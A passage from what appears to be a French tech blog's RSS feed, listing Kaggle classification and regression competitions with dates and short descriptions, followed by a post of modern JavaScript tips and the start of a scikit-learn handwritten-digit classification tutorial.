<h3 id="kdd-cup-2013---author-disambiguation-challenge-track-2"><a href="https://www.kaggle.com/c/kdd-cup-2013-author-disambiguation">KDD Cup 2013 - Author Disambiguation Challenge (Track 2)</a></h3>
<p>Fri 19 Apr 2013 – Wed 12 Jun 2013</p>
<p>Identify which authors correspond to the same person</p>
<br/>
<h3 id="predict-closed-questions-on-stack-overflow"><a href="https://www.kaggle.com/c/predict-closed-questions-on-stack-overflow">Predict Closed Questions on Stack Overflow</a></h3>
<p>Tue 21 Aug 2012 – Sat 3 Nov 2012</p>
<p>Predict which new questions asked on Stack Overflow will be closed</p>
<br/>
<h3 id="merck-molecular-activity-challenge"><a href="https://www.kaggle.com/c/MerckActivity">Merck Molecular Activity Challenge</a></h3>
<p>Thu 16 Aug 2012 – Tue 16 Oct 2012</p>
<p>Help develop safe and effective medicines by predicting molecular activity.</p>
<br/>
<h3 id="data-mining-hackathon-on-big-data-7gb-best-buy-mobile-web-site"><a href="https://www.kaggle.com/c/acm-sf-chapter-hackathon-big">Data Mining Hackathon on BIG DATA (7GB) Best Buy mobile web site</a></h3>
<p>Sat 18 Aug 2012 – Sun 30 Sep 2012</p>
<p>Predict which BestBuy product a mobile web visitor will be most interested in based on their search query or behavior over 2 years (7 GB).</p>
<br/>
<h3 id="data-mining-hackathon-on-20-mb-best-buy-mobile-web-site---acm-sf-bay-area-chapter"><a href="https://www.kaggle.com/c/acm-sf-chapter-hackathon-small">Data Mining Hackathon on (20 mb) Best Buy mobile web site - ACM SF Bay Area Chapter</a></h3>
<p>Sat 18 Aug 2012 – Sun 30 Sep 2012</p>
<p>Getting Started - Predict which Xbox game a visitor will be most interested in based on their search query. (20 MB)</p>
<br/>
<h3 id="practice-fusion-diabetes-classification"><a href="https://www.kaggle.com/c/pf2012-diabetes">Practice Fusion Diabetes Classification</a></h3>
<p>Tue 10 Jul 2012 – Mon 10 Sep 2012</p>
<p>Identify patients diagnosed with Type 2 Diabetes</p>
<br/>
<h3 id="personality-prediction-based-on-twitter-stream"><a href="https://www.kaggle.com/c/twitter-personality-prediction">Personality Prediction Based on Twitter Stream</a></h3>
<p>Tue 8 May 2012 – Fri 29 Jun 2012</p>
<p>Identify the best performing model(s) to predict personality traits based on Twitter usage</p>
<br/>
<h3 id="predicting-a-biological-response"><a href="https://www.kaggle.com/c/bioresponse">Predicting a Biological Response</a></h3>
<p>Fri 16 Mar 2012 – Fri 15 Jun 2012</p>
<p>Predict a biological response of molecules from their chemical properties</p>
<br/>
<h3 id="eye-movements-verification-and-identification-competition"><a href="https://www.kaggle.com/c/emvic">Eye Movements Verification and Identification Competition</a></h3>
<p>Tue 20 Mar 2012 – Sun 15 Apr 2012</p>
<p>Determine how people may be identified based on their eye movement characteristic.</p>
<br/>
<h3 id="what-do-you-know"><a href="https://www.kaggle.com/c/WhatDoYouKnow">What Do You Know?</a></h3>
<p>Fri 18 Nov 2011 – Wed 29 Feb 2012</p>
<p>Improve the state of the art in student evaluation by predicting whether a student will answer the next test question correctly.</p>
<br/>
<h3 id="don"><a href="https://www.kaggle.com/c/DontGetKicked">Don&rsquo;t Get Kicked!</a></h3>
<p>Fri 30 Sep 2011 – Thu 5 Jan 2012</p>
<p>Predict if a car purchased at auction is a lemon (new car with defects)</p>
<br/>
<h3 id="give-me-some-credit"><a href="https://www.kaggle.com/c/GiveMeSomeCredit">Give Me Some Credit</a></h3>
<p>Mon 19 Sep 2011 – Thu 15 Dec 2011</p>
<p>Improve on the state of the art in credit scoring by predicting the probability that somebody will experience financial distress in the next two years.</p>
<br/>
<h3 id="photo-quality-prediction"><a href="https://www.kaggle.com/c/PhotoQualityPrediction">Photo Quality Prediction</a></h3>
<p>Sat 29 Oct 2011 – Sun 20 Nov 2011</p>
<p>Given anonymized information on thousands of photo albums, predict whether a human evaluator would mark them as &lsquo;good&rsquo;.</p>
<br/>
<h3 id="don-1"><a href="https://www.kaggle.com/c/overfitting">Don&rsquo;t Overfit!</a></h3>
<p>Mon 28 Feb 2011 – Sun 15 May 2011</p>
<p>With nearly as many variables as training cases, what are the best techniques to avoid disaster?</p>
<br/>
<h3 id="stay-alert-the-ford-challenge"><a href="https://www.kaggle.com/c/stayalert">Stay Alert! The Ford Challenge</a></h3>
<p>Wed 19 Jan 2011 – Wed 9 Mar 2011</p>
<p>Driving while not alert can be deadly. The objective is to design a classifier that will detect whether the driver is alert or not alert, employing data that are acquired while driving.</p>
<br/>
<h3 id="predict-grant-applications"><a href="https://www.kaggle.com/c/unimelb">Predict Grant Applications</a></h3>
<p>Mon 13 Dec 2010 – Sun 20 Feb 2011</p>
<p>This task requires participants to predict the outcome of grant applications for the University of Melbourne.</p>
<br/>
<h3 id="ijcnn-social-network-challenge"><a href="https://www.kaggle.com/c/socialNetwork">IJCNN Social Network Challenge</a></h3>
<p>Mon 8 Nov 2010 – Tue 11 Jan 2011</p>
<p>This competition requires participants to predict edges in an online social network. The winner will receive free registration and the opportunity to present their solution at IJCNN 2011.</p>
<br/>
<h3 id="r-package-recommendation-engine"><a href="https://www.kaggle.com/c/R">R Package Recommendation Engine</a></h3>
<p>Sun 10 Oct 2010 – Tue 8 Feb 2011</p>
<p>The aim of this competition is to develop a recommendation engine for R libraries (or packages). (R is opensource statistics software.)</p>
<br/>
<h3 id="informs-data-mining-contest-2010"><a href="https://www.kaggle.com/c/informs2010">INFORMS Data Mining Contest 2010</a></h3>
<p>Mon 21 Jun 2010 – Sun 10 Oct 2010</p>
<p>The goal of this contest is to predict short term movements in stock prices. The winners of this contest will be honoured of the INFORMS Annual Meeting in Austin-Texas (November 7-10).</p>
<br/>
<h3 id="predict-hiv-progression"><a href="https://www.kaggle.com/c/hivprogression">Predict HIV Progression</a></h3>
<p>Tue 27 Apr 2010 – Mon 2 Aug 2010</p>
<p>This contest requires competitors to predict the likelihood that an HIV patient&rsquo;s infection will become less severe, given a small dataset and limited clinical information.</p>
<br/>
<h3 id="forecast-eurovision-voting"><a href="https://www.kaggle.com/c/Eurovision2010">Forecast Eurovision Voting</a></h3>
<p>Wed 7 Apr 2010 – Tue 25 May 2010</p>
<p>This competition requires contestants to forecast the voting for this year&rsquo;s Eurovision Song Contest in Norway on May 25th, 27th and 29th.</p>
]]></content>
        </item>
        
        <item>
            <title>Insights pour Use Cases Regressions Machine Learning</title>
            <link>https://leandeep.com/insights-pour-use-cases-regressions-machine-learning/</link>
            <pubDate>Sat, 23 Jul 2016 19:30:00 +0000</pubDate>
            
            <guid>https://leandeep.com/insights-pour-use-cases-regressions-machine-learning/</guid>
            <description>&lt;p&gt;Cette compilation de compétitions Kaggle autour de sujets de regression peut vous faire gagner du temps dans vos propres Use Cases.&lt;/p&gt;
&lt;br/&gt;
&lt;h3 id=&#34;grupo-bimbo-inventory-demand&#34;&gt;&lt;a href=&#34;https://www.kaggle.com/c/grupo-bimbo-inventory-demand&#34;&gt;Grupo Bimbo Inventory Demand&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Wed 8 Jun 2016 - Tue 30 Aug 2016&lt;/p&gt;
&lt;p&gt;Maximize sales and minimize returns of bakery goods&lt;/p&gt;
&lt;br/&gt;
&lt;h3 id=&#34;kobe-bryant-shot-selection&#34;&gt;&lt;a href=&#34;https://www.kaggle.com/c/kobe-bryant-shot-selection&#34;&gt;Kobe Bryant Shot Selection&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Fri 15 Apr 2016 – Mon 13 Jun 2016&lt;/p&gt;
&lt;p&gt;Which shots did Kobe sink?&lt;/p&gt;
&lt;br/&gt;
&lt;h3 id=&#34;home-depot-product-search-relevance&#34;&gt;&lt;a href=&#34;https://www.kaggle.com/c/home-depot-product-search-relevance&#34;&gt;Home Depot Product Search Relevance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Mon 18 Jan 2016 – Mon 25 Apr 2016&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Cette compilation de compétitions Kaggle autour de sujets de regression peut vous faire gagner du temps dans vos propres Use Cases.</p>
<br/>
<h3 id="grupo-bimbo-inventory-demand"><a href="https://www.kaggle.com/c/grupo-bimbo-inventory-demand">Grupo Bimbo Inventory Demand</a></h3>
<p>Wed 8 Jun 2016 - Tue 30 Aug 2016</p>
<p>Maximize sales and minimize returns of bakery goods</p>
<br/>
<h3 id="kobe-bryant-shot-selection"><a href="https://www.kaggle.com/c/kobe-bryant-shot-selection">Kobe Bryant Shot Selection</a></h3>
<p>Fri 15 Apr 2016 – Mon 13 Jun 2016</p>
<p>Which shots did Kobe sink?</p>
<br/>
<h3 id="home-depot-product-search-relevance"><a href="https://www.kaggle.com/c/home-depot-product-search-relevance">Home Depot Product Search Relevance</a></h3>
<p>Mon 18 Jan 2016 – Mon 25 Apr 2016</p>
<p>Predict the relevance of search results on homedepot.com</p>
<br/>
<h3 id="rossmann-store-sales"><a href="https://www.kaggle.com/c/rossmann-store-sales">Rossmann Store Sales</a></h3>
<p>Wed 30 Sep 2015 – Mon 14 Dec 2015</p>
<p>Forecast sales using store, promotion, and competitor data</p>
<br/>
<h3 id="how-much-did-it-rain-ii"><a href="https://www.kaggle.com/c/how-much-did-it-rain-ii">How Much Did It Rain? II</a></h3>
<p>Thu 17 Sep 2015 – Mon 7 Dec 2015</p>
<p>Predict hourly rainfall using data from polarimetric radars</p>
<br/>
<h3 id="caterpillar-tube-pricing"><a href="https://www.kaggle.com/c/caterpillar-tube-pricing">Caterpillar Tube Pricing</a></h3>
<p>Mon 29 Jun 2015 – Mon 31 Aug 2015</p>
<p>Model quoted prices for industrial tube assemblies</p>
<br/>
<h3 id="liberty-mutual-group-property-inspection-prediction"><a href="https://www.kaggle.com/c/liberty-mutual-group-property-inspection-prediction">Liberty Mutual Group: Property Inspection Prediction</a></h3>
<p>Mon 6 Jul 2015 – Fri 28 Aug 2015</p>
<p>Quantify property hazards before time of inspection</p>
<br/>
<h3 id="ecmlpkdd-15-taxi-trip-time-prediction-ii"><a href="https://www.kaggle.com/c/pkdd-15-taxi-trip-time-prediction-ii">ECML/PKDD 15: Taxi Trip Time Prediction (II)</a></h3>
<p>Fri 24 Apr 2015 – Wed 1 Jul 2015</p>
<p>Predict the total travel time of taxi trips based on their initial partial trajectories</p>
<br/>
<h3 id="bike-sharing-demand"><a href="https://www.kaggle.com/c/bike-sharing-demand">Bike Sharing Demand</a></h3>
<p>Wed 28 May 2014 – Fri 29 May 2015</p>
<p>Forecast use of a city bikeshare system</p>
<br/>
<h3 id="walmart-recruiting-ii-sales-in-stormy-weather"><a href="https://www.kaggle.com/c/walmart-recruiting-sales-in-stormy-weather">Walmart Recruiting II: Sales in Stormy Weather</a></h3>
<p>Wed 1 Apr 2015 – Mon 25 May 2015</p>
<p>Walmart challenges participants to accurately predict the sales of 111 potentially weather-sensitive products (like umbrellas, bread, and milk) around the time of major weather events at 45 of their retail locations.</p>
<br/>
<h3 id="how-much-did-it-rain"><a href="https://www.kaggle.com/c/how-much-did-it-rain">How Much Did It Rain?</a></h3>
<p>Fri 9 Jan 2015 – Fri 15 May 2015</p>
<p>Predict probabilistic distribution of hourly rain given polarimetric radar measurements</p>
<br/>
<h3 id="restaurant-revenue-prediction"><a href="https://www.kaggle.com/c/restaurant-revenue-prediction">Restaurant Revenue Prediction</a></h3>
<p>Mon 23 Mar 2015 – Mon 4 May 2015</p>
<p>Predict annual restaurant sales based on objective measurements</p>
<br/>
<h3 id="finding-elo"><a href="https://www.kaggle.com/c/finding-elo">Finding Elo</a></h3>
<p>Mon 20 Oct 2014 – Mon 23 Mar 2015</p>
<p>Predict a chess player&rsquo;s FIDE Elo rating from one game</p>
<br/>
<h3 id="africa-soil-property-prediction-challenge"><a href="https://www.kaggle.com/c/afsis-soil-properties">Africa Soil Property Prediction Challenge</a></h3>
<p>Wed 27 Aug 2014 – Tue 21 Oct 2014</p>
<p>Predict physical and chemical properties of soil using spectral measurements</p>
<br/>
<h3 id="liberty-mutual-group---fire-peril-loss-cost"><a href="https://www.kaggle.com/c/liberty-mutual-fire-peril">Liberty Mutual Group - Fire Peril Loss Cost</a></h3>
<p>Tue 8 Jul 2014 – Tue 2 Sep 2014</p>
<p>Predict expected fire losses for insurance policies</p>
<br/>
<h3 id="walmart-recruiting---store-sales-forecasting"><a href="https://www.kaggle.com/c/walmart-recruiting-store-sales-forecasting">Walmart Recruiting - Store Sales Forecasting</a></h3>
<p>Thu 20 Feb 2014 – Mon 5 May 2014</p>
<p>In this recruiting competition, job-seekers are provided with historical sales data for 45 Walmart stores located in different regions. Each store contains many departments, and participants must project the sales for each department in each store.</p>
<br/>
<h3 id="pakdd-2014---asus-malfunctional-components-prediction"><a href="https://www.kaggle.com/c/pakdd-cup-2014">PAKDD 2014 - ASUS Malfunctional Components Prediction</a></h3>
<p>Sun 26 Jan 2014 – Tue 1 Apr 2014</p>
<p>Predict malfunctional components of ASUS notebooks</p>
<br/>
<h3 id="loan-default-prediction---imperial-college-london"><a href="https://www.kaggle.com/c/loan-default-prediction">Loan Default Prediction - Imperial College London</a></h3>
<p>Fri 17 Jan 2014 – Fri 14 Mar 2014</p>
<p>Constructing an optimal portfolio of loans</p>
<br/>
<h3 id="see-click-predict-fix"><a href="https://www.kaggle.com/c/see-click-predict-fix">See Click Predict Fix</a></h3>
<p>Sun 29 Sep 2013 – Wed 27 Nov 2013</p>
<p>Predict which 311 issues are most important to citizens</p>
<br/>
<h3 id="ams-2013-2014-solar-energy-prediction-contest"><a href="https://www.kaggle.com/c/ams-2014-solar-energy-prediction-contest">AMS 2013-2014 Solar Energy Prediction Contest</a></h3>
<p>Mon 8 Jul 2013 – Fri 15 Nov 2013</p>
<p>Forecast daily solar energy with an ensemble of weather models</p>
<br/>
<h3 id="the-big-data-combine-engineered-by-battlefin"><a href="https://www.kaggle.com/c/battlefin-s-big-data-combine-forecasting-challenge">The Big Data Combine Engineered by BattleFin</a></h3>
<p>Fri 16 Aug 2013 – Tue 1 Oct 2013</p>
<p>Predict short term movements in stock prices using news and sentiment data provided by RavenPack</p>
<br/>
<h3 id="see-click-predict-fix---hackathon"><a href="https://www.kaggle.com/c/the-seeclickfix-311-challenge">See Click Predict Fix - Hackathon</a></h3>
<p>Sat 28 Sep 2013 – Sun 29 Sep 2013</p>
<p>Predict which 311 issues are most important to citizens</p>
<br/>
<h3 id="recsys2013-yelp-business-rating-prediction"><a href="https://www.kaggle.com/c/yelp-recsys-2013">RecSys2013: Yelp Business Rating Prediction</a></h3>
<p>Wed 24 Apr 2013 – Sat 31 Aug 2013</p>
<p>RecSys Challenge 2013: Yelp business rating prediction</p>
<br/>
<h3 id="yelp-recruiting-competition"><a href="https://www.kaggle.com/c/yelp-recruiting">Yelp Recruiting Competition</a></h3>
<p>Wed 27 Mar 2013 – Sun 30 Jun 2013</p>
<p>The goal of this competition is to estimate the number of Useful votes a review will receive.</p>
<br/>
<h3 id="dunnhumby--hackreduce-product-launch-challenge"><a href="https://www.kaggle.com/c/hack-reduce-dunnhumby-hackathon">dunnhumby &amp; hack/reduce Product Launch Challenge</a></h3>
<p>Sat 11 May 2013 – Sat 11 May 2013</p>
<p>The success or failure of a new product launch is often evident within the first few weeks of sales. Can you predict a product&rsquo;s destiny?</p>
<br/>
<h3 id="icdar2013---handwriting-stroke-recovery-from-offline-data"><a href="https://www.kaggle.com/c/icdar2013-stroke-recovery-from-offline-data">ICDAR2013 - Handwriting Stroke Recovery from Offline Data</a></h3>
<p>Wed 20 Mar 2013 – Sat 20 Apr 2013</p>
<p>Predict the trajectory of a handwritten signature</p>
<br/>
<h3 id="blue-book-for-bulldozers"><a href="https://www.kaggle.com/c/bluebook-for-bulldozers">Blue Book for Bulldozers</a></h3>
<p>Fri 25 Jan 2013 – Wed 17 Apr 2013</p>
<p>Predict the auction sale price for a piece of heavy equipment to create a &ldquo;blue book&rdquo; for bulldozers.</p>
<br/>
<h3 id="job-salary-prediction"><a href="https://www.kaggle.com/c/job-salary-prediction">Job Salary Prediction</a></h3>
<p>Wed 13 Feb 2013 – Wed 3 Apr 2013</p>
<p>Predict the salary of any UK job ad based on its contents.</p>
<br/>
<h3 id="observing-dark-worlds"><a href="https://www.kaggle.com/c/DarkWorlds">Observing Dark Worlds</a></h3>
<p>Fri 12 Oct 2012 – Sun 16 Dec 2012</p>
<p>Can you find the Dark Matter that dominates our Universe? Winton Capital offers you the chance to unlock the secrets of dark worlds.</p>
<br/>
<h3 id="us-census-return-rate-challenge"><a href="https://www.kaggle.com/c/us-census-challenge">U.S. Census Return Rate Challenge</a></h3>
<p>Fri 31 Aug 2012 – Sun 11 Nov 2012</p>
<p>Predict census mail return rates.</p>
<br/>
<h3 id="global-energy-forecasting-competition-2012---wind-forecasting"><a href="https://www.kaggle.com/c/GEF2012-wind-forecasting">Global Energy Forecasting Competition 2012 - Wind Forecasting</a></h3>
<p>Thu 6 Sep 2012 – Wed 31 Oct 2012</p>
<p>A wind power forecasting problem: predicting hourly power generation up to 48 hours ahead at 7 wind farms</p>
<br/>
<h3 id="global-energy-forecasting-competition-2012---load-forecasting"><a href="https://www.kaggle.com/c/global-energy-forecasting-competition-2012-load-forecasting">Global Energy Forecasting Competition 2012 - Load Forecasting</a></h3>
<p>Sat 1 Sep 2012 – Wed 31 Oct 2012</p>
<p>A hierarchical load forecasting problem: backcasting and forecasting hourly loads (in kW) for a US utility with 20 zones.</p>
<br/>
<h3 id="raising-money-to-fund-an-organizational-mission"><a href="https://www.kaggle.com/c/Raising-Money-to-Fund-an-Organizational-Mission">Raising Money to Fund an Organizational Mission</a></h3>
<p>Wed 18 Jul 2012 – Tue 18 Sep 2012</p>
<p>Help worthy organizations more efficiently target and recruit loyal donors to support their causes.</p>
<br/>
<h3 id="online-product-sales"><a href="https://www.kaggle.com/c/online-sales">Online Product Sales</a></h3>
<p>Fri 4 May 2012 – Tue 3 Jul 2012</p>
<p>Predict the online sales of a consumer product based on a data set of product features.</p>
<br/>
<h3 id="psychopathy-prediction-based-on-twitter-usage"><a href="https://www.kaggle.com/c/twitter-psychopathy-prediction">Psychopathy Prediction Based on Twitter Usage</a></h3>
<p>Mon 14 May 2012 – Fri 29 Jun 2012</p>
<p>Identify people who have a high degree of Psychopathy based on Twitter usage.</p>
<br/>
<h3 id="benchmark-bond-trade-price-challenge"><a href="https://www.kaggle.com/c/benchmark-bond-trade-price-challenge">Benchmark Bond Trade Price Challenge</a></h3>
<p>Fri 27 Jan 2012 – Mon 30 Apr 2012</p>
<p>Develop models to accurately predict the trade price of a bond.</p>
<br/>
<h3 id="emc-data-science-global-hackathon-air-quality-prediction"><a href="https://www.kaggle.com/c/dsg-hackathon">EMC Data Science Global Hackathon (Air Quality Prediction)</a></h3>
<p>Sat 28 Apr 2012 – Sun 29 Apr 2012</p>
<p>Build a local early warning systems to accurately predict dangerous levels of air pollutants on an hourly basis.</p>
<br/>
<h3 id="algorithmic-trading-challenge"><a href="https://www.kaggle.com/c/AlgorithmicTradingChallenge">Algorithmic Trading Challenge</a></h3>
<p>Fri 11 Nov 2011 – Sun 8 Jan 2012</p>
<p>Develop new models to accurately predict the market response to large trades.</p>
<br/>
<h3 id="allstate-claim-prediction-challenge"><a href="https://www.kaggle.com/c/ClaimPredictionChallenge">Allstate Claim Prediction Challenge</a></h3>
<p>Wed 13 Jul 2011 – Wed 12 Oct 2011</p>
<p>A key part of insurance is charging each customer the appropriate price for the risk they represent.</p>
<br/>
<h3 id="dunnhumby"><a href="https://www.kaggle.com/c/dunnhumbychallenge">dunnhumby&rsquo;s Shopper Challenge</a></h3>
<p>Fri 29 Jul 2011 – Fri 30 Sep 2011</p>
<p>Going grocery shopping, we all have to do it, some even enjoy it, but can you predict it? dunnhumby is looking to build a model to better predict when supermarket shoppers will next visit the store and how much they will spend.</p>
<br/>
<h3 id="wikipedia"><a href="https://www.kaggle.com/c/wikichallenge">Wikipedia&rsquo;s Participation Challenge</a></h3>
<p>Tue 28 Jun 2011 – Tue 20 Sep 2011</p>
<p>This competition challenges data-mining experts to build a predictive model that predicts the number of edits an editor will make five months from the end date of the training dataset.</p>
<br/>
<h3 id="mapping-dark-matter"><a href="https://www.kaggle.com/c/mdm">Mapping Dark Matter</a></h3>
<p>Mon 23 May 2011 – Thu 18 Aug 2011</p>
<p>Measure the small distortion in galaxy images caused by dark matter</p>
<br/>
<h3 id="deloittefide-chess-rating-challenge"><a href="https://www.kaggle.com/c/ChessRatings2">Deloitte/FIDE Chess Rating Challenge</a></h3>
<p>Mon 7 Feb 2011 – Wed 4 May 2011</p>
<p>This contest, sponsored by professional services firm Deloitte, will find the most accurate system to predict chess outcomes, and FIDE will also bring a top finisher to Athens to present their system</p>
<br/>
<h3 id="rta-freeway-travel-time-prediction"><a href="https://www.kaggle.com/c/RTA">RTA Freeway Travel Time Prediction</a></h3>
<p>Tue 23 Nov 2010 – Sun 13 Feb 2011</p>
<p>This competition requires participants to predict travel time on Sydney&rsquo;s M4 freeway from past travel time observations.</p>
<br/>
<h3 id="tourism-forecasting-part-two"><a href="https://www.kaggle.com/c/tourism2">Tourism Forecasting Part Two</a></h3>
<p>Mon 20 Sep 2010 – Sun 21 Nov 2010</p>
<p>Part two requires competitors to predict 793 tourism-related time series. The winner of this competition will be invited to contribute a discussion paper to the International Journal of Forecasting.</p>
<br/>
<h3 id="chess-ratings---elo-versus-the-rest-of-the-world"><a href="https://www.kaggle.com/c/chess">Chess ratings - Elo versus the Rest of the World</a></h3>
<p>Tue 3 Aug 2010 – Wed 17 Nov 2010</p>
<p>This competition aims to discover whether other approaches can predict the outcome of chess games more accurately than the workhorse Elo rating system.</p>
<br/>
<h3 id="tourism-forecasting-part-one"><a href="https://www.kaggle.com/c/tourism1">Tourism Forecasting Part One</a></h3>
<p>Mon 9 Aug 2010 – Sun 19 Sep 2010</p>
<p>Part one requires competitors to predict 518 tourism-related time series. The winner of this competition will be invited to contribute a discussion paper to the International Journal of Forecasting.</p>
<br/>
<h3 id="world-cup-2010---take-on-the-quants"><a href="https://www.kaggle.com/c/worldcup2010">World Cup 2010 - Take on the Quants</a></h3>
<p>Thu 3 Jun 2010 – Fri 11 Jun 2010</p>
<p>Quants at Goldman Sachs and JP Morgan have modeled the likely outcomes of the 2010 World Cup. Can you do better?</p>
<br/>
<h3 id="world-cup-2010---confidence-challenge"><a href="https://www.kaggle.com/c/worldcupconf">World Cup 2010 - Confidence Challenge</a></h3>
<p>Thu 3 Jun 2010 – Fri 11 Jun 2010</p>
<p>The Confidence Challenge requires competitors to assign a level of confidence to their World Cup predictions.</p>
]]></content>
        </item>
        
        <item>
            <title>Moderne Javascript Tips</title>
            <link>https://leandeep.com/moderne-javascript-tips/</link>
            <pubDate>Sat, 16 Jul 2016 19:00:00 +0000</pubDate>
            
            <guid>https://leandeep.com/moderne-javascript-tips/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Ce weekend, j&amp;rsquo;ai fait un Kata en JS.
Voici une liste de snippets utiles à connaître pour coder proprement son app.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;tips&#34;&gt;Tips&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Calculer le nombre propriétés que possède un objet&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;const fleur = {
  couleur: &amp;#39;rouge&amp;#39;,
  nom: &amp;#39;rose&amp;#39;
}

Object.keys(fleurs).length
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Trier un tableau d&amp;rsquo;objets en fonction de certaines propriétés&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;const liste = [
  { couleur: &amp;#39;blanc&amp;#39;, taille: &amp;#39;XXL&amp;#39; },
  { couleur: &amp;#39;rouge&amp;#39;, taille: &amp;#39;XL&amp;#39; },
  { couleur: &amp;#39;noir&amp;#39;, taille: &amp;#39;M&amp;#39; }
]

// Trier par ordre alphabétique le nom des couleurs: blanc, noir, rouge.
liste.sort((a, b) =&amp;gt; (a.couleur &amp;gt; b.couleur) ? 1 : -1)

//La fonction de callback pourrait trier sur une seconde propriété, pour gérer le cas où 2 couleurs seraient identiques:
list.sort((a, b) =&amp;gt; (a.couleur &amp;gt; b.couleur) ? 1 : (a.couleur === b.couleur) ? ((a.taille &amp;gt; b.taille) ? 1 : -1) : -1 )
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Comment définir des valeurs par défaut pour des fonctions&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Ce weekend, j&rsquo;ai fait un Kata en JS.
Voici une liste de snippets utiles à connaître pour coder proprement son app.</p>
<br/>
<h2 id="tips">Tips</h2>
<p><strong>Calculer le nombre propriétés que possède un objet</strong></p>
<pre tabindex="0"><code>const fleur = {
  couleur: &#39;rouge&#39;,
  nom: &#39;rose&#39;
}

Object.keys(fleurs).length
</code></pre><br/>
<p><strong>Trier un tableau d&rsquo;objets en fonction de certaines propriétés</strong></p>
<pre tabindex="0"><code>const liste = [
  { couleur: &#39;blanc&#39;, taille: &#39;XXL&#39; },
  { couleur: &#39;rouge&#39;, taille: &#39;XL&#39; },
  { couleur: &#39;noir&#39;, taille: &#39;M&#39; }
]

// Trier par ordre alphabétique le nom des couleurs: blanc, noir, rouge.
liste.sort((a, b) =&gt; (a.couleur &gt; b.couleur) ? 1 : -1)

//La fonction de callback pourrait trier sur une seconde propriété, pour gérer le cas où 2 couleurs seraient identiques:
list.sort((a, b) =&gt; (a.couleur &gt; b.couleur) ? 1 : (a.couleur === b.couleur) ? ((a.taille &gt; b.taille) ? 1 : -1) : -1 )
</code></pre><br/>
<p><strong>Comment définir des valeurs par défaut pour des fonctions</strong></p>
<p>Depuis ES6 en 2015, il est possible de définir des valeurs par défaut aux paramètres des fonctions.</p>
<pre tabindex="0"><code>const doSomething = (param1 = &#39;test&#39;, param2 = &#39;test2&#39;) =&gt; {

}
</code></pre><p>Si on devait passer un objet d&rsquo;options à une fonction, voici le code pour gérer des options undefined:</p>
<pre tabindex="0"><code>const colorize = (options) =&gt; {
  if (!options) {
    options = {}
  }

  const color = (&#39;color&#39; in options) ? options.color : &#39;yellow&#39;
  ...
}

// Avec le destructuring, c&#39;est beaucoup plus simple:
const colorize = ({ color = &#39;yellow&#39; }) =&gt; {
  ...
}

// Si pas l&#39;objet n&#39;est passé en appelant la fonction colorize on peut assigner un objet vide par défaut: 
const spin = ({ color = &#39;yellow&#39; } = {}) =&gt; {
  ...
}
</code></pre><br/>
<p><strong>Vider un tableau</strong></p>
<pre tabindex="0"><code>// Option 1
const list = [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;]
list.length = 0

// Option 2 en utilisant let plutôt que const
let list = [&#39;a&#39;, &#39;b&#39;, &#39;c&#39;]
list = []
</code></pre><br/>
<p><strong>Encoder une URL</strong></p>
<p>Pour respecter le standard RFC 3986 (<a href="http://tools.ietf.org/html/rfc3986%29">http://tools.ietf.org/html/rfc3986)</a>, il y a la fonction suivante:</p>
<pre tabindex="0"><code>const fixedEncodeURIComponent = (str) =&gt; {
  return encodeURIComponent(str).replace(/[!&#39;()*]/g, (c) =&gt; {
    return &#39;%&#39; + c.charCodeAt(0).toString(16)
  })
}
</code></pre><br/>
<p><strong>Fusionner 2 objets</strong></p>
<p>ES6 en 2015 a introduit le <code>Spread Operator</code>, qui permet de fusionner facilement 2 simples objets:</p>
<pre tabindex="0"><code>const object1 = {
  name: &#39;Flavio&#39;
}

const object2 = {
  age: 35
}

const object3 = {...object1, ...object2 }
</code></pre><p>Si les 2 objets ont des propriétés ayant des noms identiques, le 2ème objets surchargera le premier.
Dans ce cas, il pourra utiliser la méthode <code>merge()</code> de lodash qui fera un deep merge.</p>
]]></content>
        </item>
        
        <item>
            <title>Commandes Python de base pour faire une classification en apprentissage supervisé avec scikit</title>
            <link>https://leandeep.com/commandes-python-de-base-pour-faire-une-classification-en-apprentissage-supervis%C3%A9-avec-scikit/</link>
            <pubDate>Fri, 03 Jun 2016 21:24:00 +0000</pubDate>
            
            <guid>https://leandeep.com/commandes-python-de-base-pour-faire-une-classification-en-apprentissage-supervis%C3%A9-avec-scikit/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment classifier des chiffres écrits à la main. Le dataset que nous allons utiliser est publique, bien connu et accessible depuis scikit. Nous allons voir le processus pour classifier ces chiffres et voir comment évaluer la performance de notre modèle.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;from sklearn.datasets import load_digits
digits = load_digits()
print(digits.data.shape)
(1797, 64)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Notre dataset contient 1797 échantillons.&lt;/p&gt;
&lt;p&gt;On affiche les 128 premiers échantillons sur un graphique de 9x9 pouces.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment classifier des chiffres écrits à la main. Le dataset que nous allons utiliser est publique, bien connu et accessible depuis scikit. Nous allons voir le processus pour classifier ces chiffres et voir comment évaluer la performance de notre modèle.</p>
<pre tabindex="0"><code>from sklearn.datasets import load_digits
digits = load_digits()
print(digits.data.shape)
(1797, 64)
</code></pre><p>Notre dataset contient 1797 échantillons.</p>
<p>On affiche les 128 premiers échantillons sur un graphique de 9x9 pouces.</p>
<pre tabindex="0"><code>fig = plt.figure(figsize=(9, 9))  # figure size in inches
fig.subplots_adjust(left=0, right=1, bottom=0, top=1, hspace=0.05, wspace=0.05)

# plot the digits: each image is 8x8 pixels
for i in range(128):
    ax = fig.add_subplot(16, 8, i + 1, xticks=[], yticks=[])
